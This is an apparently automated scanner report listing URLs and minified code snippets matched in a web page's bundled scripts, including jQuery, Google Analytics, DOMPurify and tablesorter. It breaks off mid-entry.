Heuristic match: "d301sr5gafysq2.cloudfront.net" Pattern match: "https://aui.atlassian.com" Pattern match: "https://creativecommons.org/licenses/by/4.0/" Pattern match: "https://ampcid.google.com/v1/publisher:getClientId" Pattern match: "www.google-analytics.com},Ge=function(a){switch(a){default:case" Pattern match: "https://stats.g.doubleclick.net/j/collect" Pattern match: "https://www.google.com/ads/ga-audiences,a.google,c" Pattern match: "https://tagassistant.google.com/" Pattern match: "https://stats.g.doubleclick.net/j/collect,ca.U,ca" Pattern match: "www.google-analytics.com==a.host&&(a.port||b)==b&&D(a.path,/plugins/)?!0:!1},ne=function(a){var" Pattern match: "https://jquery.com/" Pattern match: "https://sizzlejs.com/" Pattern match: "https://jquery.org/license" Pattern match: "https://js.foundation/" Pattern match: "github.com/cure53/DOMPurify/blob/2.4.0/LICENSE" Pattern match: "http://www.w3.org/1998/Math/MathML,Zt=http://www.w3.org/2000/svg,te=http://www.w3.org/1999/xhtml,ee=te,ne=!1,ie=[application/xhtml+xml,text/html],re=text/html,se=null,oe=o.createElement(form),ae=function(t){return" Pattern match: "http://jqueryui.com" Pattern match: "http://jquery.org/license" Heuristic match: "*/!function(o){use strict;r=[n(472),n(927),n(736),n(111),n(783),n(692),n(534),n(21),n(993)],void 0===(s=function==typeof(i=function(t){return t.widget(ui.draggable,t.ui.mouse,{version:1.13.0,widgetEventPrefix:drag,options:{addClasses:!0,appendTo:" Pattern match: "http://polymer.github.io/LICENSE.txt" Pattern match: "http://polymer.github.io/AUTHORS.txt" Pattern match: "http://polymer.github.io/CONTRIBUTORS.txt" Pattern match: "http://polymer.github.io/PATENTS.txt" Pattern match: "http://tablesorter.com" Pattern match: "http://www.opensource.org/licenses/mit-license.php" Pattern match: "http://www.gnu.org/licenses/gpl.html" Heuristic match: "* @author Christian Bach/christian.bach@polyester.se" Pattern match: "https://github.com/Mottie/tablesorter" Heuristic match: "!function(t){use strict;t.extend({tablesorter:new function(){var e=this;function n(){var t=arguments[0],e=arguments.length>1?Array.prototype.slice.call(arguments):t;undefined!=typeof console&&void 0!==console.log?console[/error/i.test(t)?error:/warn/" Heuristic match: "